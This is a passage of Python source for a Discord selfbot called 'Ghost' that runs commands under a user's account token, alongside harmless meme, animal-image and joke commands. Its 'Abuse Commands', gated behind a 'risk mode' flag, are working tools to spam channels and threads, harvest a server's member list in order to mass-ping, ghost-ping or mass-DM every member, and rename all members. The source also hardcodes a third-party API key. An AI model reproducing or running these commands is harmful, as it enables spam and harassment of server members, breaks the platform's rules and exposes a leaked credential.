ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="threadspam", description="Spam create threads with a starting message.", usage="threadspam [delay] [amount] [addusers | true/false] [name] [startmessage]", aliases=["spamthreads", "spamcreatethreads"]) async def threadspam(ctx, delay: int, amount: int, addusers: bool, name: str = "Ghost best selfbot!", *, startmessage: str): if __riskmode__: users = [] try: await ctx.message.delete() except: pass def createThread(title, channel_id, start_message_id): return requests.request("post", f"https://discord.com/api/channels/{channel_id}/messages/{start_message_id}/threads", headers={"Authorization": __token__, "Content-Type": "application/json"}, data=json.dumps({"name": title})) def getUsers(guild, channel): DiscumClient = discum.Client(token=__token__, user_agent=f"{get_random_user_agent()}") @DiscumClient.gateway.command def pingpingbrbr(resp): guild_id = f'{guild.id}' channel_id = f'{channel.id}' if resp.event.ready_supplemental: DiscumClient.gateway.fetchMembers(guild_id, channel_id, wait=1) if DiscumClient.gateway.finishedMemberFetching(guild_id): DiscumClient.gateway.removeCommand(pingpingbrbr) DiscumClient.gateway.close() DiscumClient.gateway.run() members = [] for memberID in DiscumClient.gateway.session.guild(f'{guild.id}').members: members.append(f"<@!{memberID}>") return members async def addUsers(users, channel_id): try: requests.post(f"https://discord.com/api/channels/{channel_id}/messages", headers={"Authorization": __token__, "Content-Type": "application/json"}, data=json.dumps({"content": ' '.join(users)})) except: pass if addusers: print_info("Fetching channel members...") users = getUsers(ctx.guild, ctx.channel) await asyncio.sleep(2) print(users) await asyncio.sleep(2) index = 0 if not ctx.author.guild_permissions.administrator: if amount > 5: print_info("Limiting amount of threads to 5 to prevent rate limits.") amount = 5 for _ in range(amount): index += 1 try: message = await ctx.send(startmessage + f" {index}") createThredResponse = createThread(name, ctx.channel.id, message.id) if addusers: print_info("Adding users to the thread...") await addUsers(users, createThredResponse.json()["id"]) print_info("Created a new thread.") try: await message.delete() except: pass await asyncio.sleep(delay) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="channelspam", description="Spam a message X amount of times in every channel.", usage="channelspam [amount] [delay] [message]", aliases=["sendall", "sendtoallchannels", "msgallchannels", "messageallchannels"]) async def channelspam(ctx, amount:int, *, message:str): if __riskmode__: for _ in range(amount): for channel in ctx.guild.text_channels: try: await channel.send(message) await asyncio.sleep(1) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="spam", description="Spam X amount of times.", usage="spam [amount] [delay] [message]") async def spam(ctx, amount: int, delay: int, *, message): if __riskmode__: global spammingMessages spammingMessages = True async def spamMessages(): for _ in range(amount): if spammingMessages == True: await ctx.send(message) await asyncio.sleep(delay) else: return Ghost.loop.create_task(spamMessages()) else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="stopspam", description="Stop spamming messages.", usage="stopspam") async def stopspam(ctx): if __riskmode__: global spammingMessages spammingMessages = False else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="ttsspam", description="Spam TTS messages X amount of times.", usage="ttsspam [amount] [delay] [message]", aliases=["texttospeachspam"]) async def ttsspam(ctx, amount: int, delay: int, *, message): if __riskmode__: for _ in range(amount): await ctx.send(message, tts=True) await asyncio.sleep(delay) else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="massghostping", description="Ping a mass amount of people in the command server and delete the messages.", usage="massghostping (amount of messages) (send delay)", aliases=["massghostmention", "theotherfunny"]) async def massghostping(ctx, amount:int=1, delay:int=0): if __riskmode__: try: await ctx.message.delete() except: pass bot = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) def close_after_fetching(resp, guild_id): if bot.gateway.finishedMemberFetching(guild_id): print_info("Fetching complete.") members = bot.gateway.session.guild(guild_id).members bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.close() print_info(f"Fetched a total of {len(members)} members.") return members def get_members(guild_id, channel_id): print_info("Fetching members...") bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=0) bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.run() bot.gateway.resetSession() return bot.gateway.session.guild(guild_id).members # members = [] members = get_members(str(ctx.guild.id), str(ctx.channel.id)) messages = [] message = "" # for channel in ctx.guild.text_channels: # print_info(f"Starting fetch in #{channel.name}.") # members2 = get_members(str(ctx.guild.id), str(channel.id)) # for member in members2: # members.append(member) # print_info(f"Fetched a total of {len(members)} members.") for member in members: if len(message) < 1950: message += f"<@{member}> " else: messages.append(message) message = "" messages.append(message) for _ in range(amount): for message in messages: try: await ctx.send(message, delete_after=0) await asyncio.sleep(delay) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="massping", description="Ping a mass amount of people in the command server.", usage="massping (amount of messages) (send delay)", aliases=["massmention", "sigmainstaller", "hahafunny"]) async def massping(ctx, amount:int=1, delay:int=0): if __riskmode__: try: await ctx.message.delete() except: pass bot = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) def close_after_fetching(resp, guild_id): if bot.gateway.finishedMemberFetching(guild_id): print_info("Fetching complete.") members = bot.gateway.session.guild(guild_id).members bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.close() print_info(f"Fetched a total of {len(members)} members.") return members def get_members(guild_id, channel_id): print_info("Fetching members...") bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=0) bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.run() bot.gateway.resetSession() return bot.gateway.session.guild(guild_id).members members = get_members(str(ctx.guild.id), str(ctx.channel.id)) messages = [] message = "" for member in members: if len(message) < 1950: message += f"<@{member}> " else: messages.append(message) message = "" messages.append(message) for _ in range(amount): for message in messages: try: await ctx.send(message) await asyncio.sleep(delay) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="massdm", description="Send a DM message to everyone in the server.", usage="massdm [delay] [amount] [message]") @commands.guild_only() async def massdm(ctx, delay:int=0, amount:int=10, *, message:str): if __riskmode__: try: await ctx.message.delete() except: pass bot = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) def close_after_fetching(resp, guild_id): if bot.gateway.finishedMemberFetching(guild_id): print_info("Fetching complete.") members = bot.gateway.session.guild(guild_id).members bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.close() print_info(f"Fetched a total of {len(members)} members.") return members def get_members(guild_id, channel_id): print_info("Fetching members...") bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=1) bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.run() bot.gateway.resetSession() return bot.gateway.session.guild(guild_id).members members = get_members(str(ctx.guild.id), str(ctx.channel.id)) for _ in range(amount): for member in members: try: member = await Ghost.fetch_user(int(member)) await member.send(message) except: pass await asyncio.sleep(delay) else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="rickroll", description="Send never gonna give you up lyrics one by one.", usage="rickroll") async def rickroll(ctx): global rickRollEnabled rickRollEnabled = True async def sendLyrics(): file1 = open('data/rickroll.txt', 'r') Lines = file1.readlines() for line in Lines: if rickRollEnabled == True: await ctx.send(line) await asyncio.sleep(1) else: return Ghost.loop.create_task(sendLyrics()) @Ghost.command(name="stoprickroll", description="Stop sending rick astley lyrics.", usage="stoprickroll") async def stoprickroll(ctx): global rickRollEnabled rickRollEnabled = False @Ghost.command(name="suggest", description="Suggest something.", usage="suggest [suggestion]") async def suggest(ctx, *, suggestion): if __embedmode__: embed = discord.Embed(title="Suggestion", description=suggestion, colour=__embedcolour__) embed.set_footer(text=ctx.author.name + " suggested.", icon_url=ctx.author.avatar_url) embed.timestamp = datetime.now() msg = await ctx.send(embed=embed) else: msg = await ctx.send(f"""```ini [ Suggestion ] {suggestion} # {ctx.author.name} suggested.```""", delete_after=__deletetimeout__) await msg.add_reaction('\U0001F44D') await msg.add_reaction('\U0001F44E') @Ghost.command(name="massnick", description="Change the nickname of all members in the command server.", usage="massnick [nickname]", aliases=["massnickname", "masschangenickname"]) async def massnick(ctx, *, nickname): if __riskmode__: try: await ctx.message.delete() except: pass bot = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) def close_after_fetching(resp, guild_id): if bot.gateway.finishedMemberFetching(guild_id): print_info("Fetching complete.") members = bot.gateway.session.guild(guild_id).members bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.close() print_info(f"Fetched a total of {len(members)} members.") return members def get_members(guild_id, channel_id): print_info("Fetching members...") bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=1) bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.run() bot.gateway.resetSession() return bot.gateway.session.guild(guild_id).members members = get_members(str(ctx.guild.id), str(ctx.channel.id)) for member in members: try: member = await ctx.guild.fetch_member(int(member)) await member.edit(nick=nickname) await asyncio.sleep(1) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="massunnick", description="Reset the nickname of all members in the command server.", usage="massunnick", aliases=["massremovenickname", "massunnickname"]) async def massunnick(ctx): try: await ctx.message.delete() except: pass bot = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) def close_after_fetching(resp, guild_id): if bot.gateway.finishedMemberFetching(guild_id): print_info("Fetching complete.") members = bot.gateway.session.guild(guild_id).members bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.close() print_info(f"Fetched a total of {len(members)} members.") return members def get_members(guild_id, channel_id): print_info("Fetching members...") bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=1) bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.run() bot.gateway.resetSession() return bot.gateway.session.guild(guild_id).members members = get_members(str(ctx.guild.id), str(ctx.channel.id)) for member in members: try: member = await ctx.guild.fetch_member(int(member)) await member.edit(nick="") await asyncio.sleep(1) except: pass @Ghost.command(name="dadjoke", description="A random dad joke.", usage="dadjoke") async def dadjoke(ctx): url = "https://icanhazdadjoke.com/" payload={} headers = { 'Accept': 'text/plain', 'Cookie': '__cfduid=d6dccebb48b09fdeb9a97022fa2f292811612029832' } response = requests.request("GET", url, headers=headers, data=payload) if __embedmode__: embed = discord.Embed(description=response.text, colour=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(response.text) @Ghost.command(name="randomquestion", description="A random question.", usage="randomquestion", aliases=["ranquestion"]) async def randomquestion(ctx): question = requests.get("https://nekos.life/api/v2/why").json()["why"] if __embedmode__: embed = discord.Embed(description=question, colour=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(question) @Ghost.command(name="randommessage", description="A random message.", usage="randommessage", aliases=["ranmessage"]) async def randommessage(ctx): url = "https://ajith-messages.p.rapidapi.com/getMsgs" querystring = {"category":"Random"} headers = { 'x-rapidapi-key': "01eddf9d3cmsh5207aa226152e38p1f5a60jsn182a112b106d", 'x-rapidapi-host': "ajith-messages.p.rapidapi.com" } response = requests.request("GET", url, headers=headers, params=querystring) response_data = response.json() if __embedmode__: embed = discord.Embed(description=response_data["Message"], colour=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(response_data["Message"]) @Ghost.command(name="meme", description="A random meme.", usage="meme", aliases=["randommeme"]) async def meme(ctx): response = requests.get("https://meme-api.herokuapp.com/gimme") data = response.json() if __embedmode__: embed = discord.Embed(title=data["title"], url=data["postLink"], colour=__embedcolour__) embed.set_image(url=data["url"]) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_author(name=f"u/{data['author']}", url=f"https://reddit.com/u/{data['author']}") embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(data["title"] + "\n" + data["url"]) @Ghost.command(name="gif", description="Search for a gif.", usage="gif [search]", aliases=["searchgif"]) async def gif(ctx, *, search): if CONFIG["api_keys"]["tenor"] == "": if __embedmode__: embed = discord.Embed(description="This command requires a tenor API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires a tenor API key.") else: search = search.replace(" ", "+") response = requests.get(f'https://g.tenor.com/v1/search?q={search}&key={CONFIG["api_keys"]["tenor"]}&limit=10000') data = response.json() #print(data['results'][0]["media"][0]["gif"]["url"]) if __embedmode__: embed = discord.Embed(title=f"{search.replace('+', ' ')}", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url=data['results'][random.randint(0, 49)]["media"][0]["gif"]["url"]) await ctx.send(embed=embed) else: await ctx.send(data['results'][random.randint(0, 49)]["media"][0]["gif"]["url"]) @Ghost.command(name="cat", description="A random cat image.", usage="cat", aliases=["randomcat"]) async def cat(ctx): request = requests.get("https://cataas.com/cat?json=true").json() image = "https://cataas.com" + request["url"] if __embedmode__: embed = discord.Embed(title="meow", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url=image) await ctx.send(embed=embed) else: await ctx.send(image) @Ghost.command(name="catgif", description="A random cat gif.", usage="catgif", aliases=["randomcatgif"]) async def catgif(ctx): request = requests.get("https://cataas.com/cat/gif?json=true").json() image = "https://cataas.com" + request["url"] if __embedmode__: embed = discord.Embed(title="meow", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url=image) await ctx.send(embed=embed) else: await ctx.send(image) @Ghost.command(name="dog", description="A random dog image.", usage="dog", aliases=["randomdog"]) async def dog(ctx): response = requests.get('https://dog.ceo/api/breeds/image/random') data = response.json() if __embedmode__: embed = discord.Embed(title="woof", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url=data['message']) await ctx.send(embed=embed) else: await ctx.send(data['message']) @Ghost.command(name="shiba", description="A random shiba image.", usage="shiba", aliases=["randomshiba"]) async def shiba(ctx): response = requests.get('https://shibe.online/api/shibes?count=1&httpsUrls=true') data = response.json() if __embedmode__: embed = discord.Embed(title="shiba", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url=data[0]) await ctx.send(embed=embed) else: await ctx.send(data[0]) @Ghost.command(name="fox", description="A random fox image. (Thanks Imf44 <3)", usage="fox", aliases=["randomfox"]) async def fox(ctx): response = requests.get('https://randomfox.ca/floof/') data = response.json() if __embedmode__: embed = discord.Embed(title="fox", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url=data['image']) await ctx.send(embed=embed) else: await ctx.send(data['message']) @Ghost.command(name="achievement", description="Create a fake minecraft achievement image.", usage='achievement ["text"] (icon)', aliases=["minecraftachievement"]) async def achievement(ctx, text, icon=10): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: icon = str(icon) text = text.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/achievement?text={text}&icon={icon}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="challenge", description="Create a fake minecraft challenge image.", usage='challenge ["text"] (icon)', aliases=["minecraftchallenge"]) async def challenge(ctx, text, icon=33): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: text = text.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/challenge?text={text}&icon={icon}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="captcha", description="Create a fake reCaptcha.", usage="captcha [text]", aliases=["fakecaptcha"]) async def captcha(ctx, *, text): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: text = text.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/captcha?text={text}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="amiajoke", description="Make a user a joke.", usage="amiajoke [@user]", aliases=["amiajoketoyou"]) async def amiajoke(ctx, user:discord.User): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: imageurl = avatarUrl(user.id, user.avatar) image = requests.get(f"https://api.alexflipnote.dev/amiajoke?image={imageurl}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="didyoumean", description="Create a google did you mean image.", usage='didyoumean ["text 1"] ["text 2"]', aliases=["googledidyoumean"]) async def didyoumean(ctx, text1="Nighty", text2="Ghost"): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: text1 = text1.replace(" ", "+") text2 = text2.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/didyoumean?top={text1}&bottom={text2}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="drake", description="Create a drake meme image.", usage='drake ["text 1"] ["text 2"]', aliases=["drakememe"]) async def drake(ctx, text1="Nighty Selfbot", text2="Ghost Selfbot"): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: text1 = text1.replace(" ", "+") text2 = text2.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/drake?top={text1}&bottom={text2}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="facts", description="Create a facts meme image.", usage='facts [text]', aliases=["factsmeme"]) async def facts(ctx, *, text): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: text = text.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/drake?text={text}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="jokeoverhead", description="Create a joke over head image.", usage="jokeoverhead [image url]") async def jokeoverhead(ctx, *, imageurl): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: image = requests.get(f"https://api.alexflipnote.dev/jokeoverhead?image={imageurl}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="pornhub", description="Create a pornhub logo image.", usage='pornhub ["text 1"] ["text 2"]') async def pornhub(ctx, text1="Ghost", text2="Selfbot"): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: text1 = text1.replace(" ", "+") text2 = text2.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/pornhub?text={text1}&text2={text2}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="salty", description="Make someone salty.", usage="salty [@user]") async def jokeoverhead(ctx, user:discord.User): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: imageurl = avatarUrl(user.id, user.avatar) image = requests.get(f"https://api.alexflipnote.dev/salty?image={imageurl}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="ship", description="Ship two people.", usage="ship [@user 1] [@user 2]") async def ship(ctx, user1:discord.User, user2:discord.User): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: user1 = avatarUrl(user1.id, user1.avatar) user2 = avatarUrl(user2.id, user2.avatar) image = requests.get(f"https://api.alexflipnote.dev/ship?user={user1}&user2={user2}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="supreme", description="Create a supreme logo image.", usage='supreme [text]') async def supreme(ctx, *, text): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", 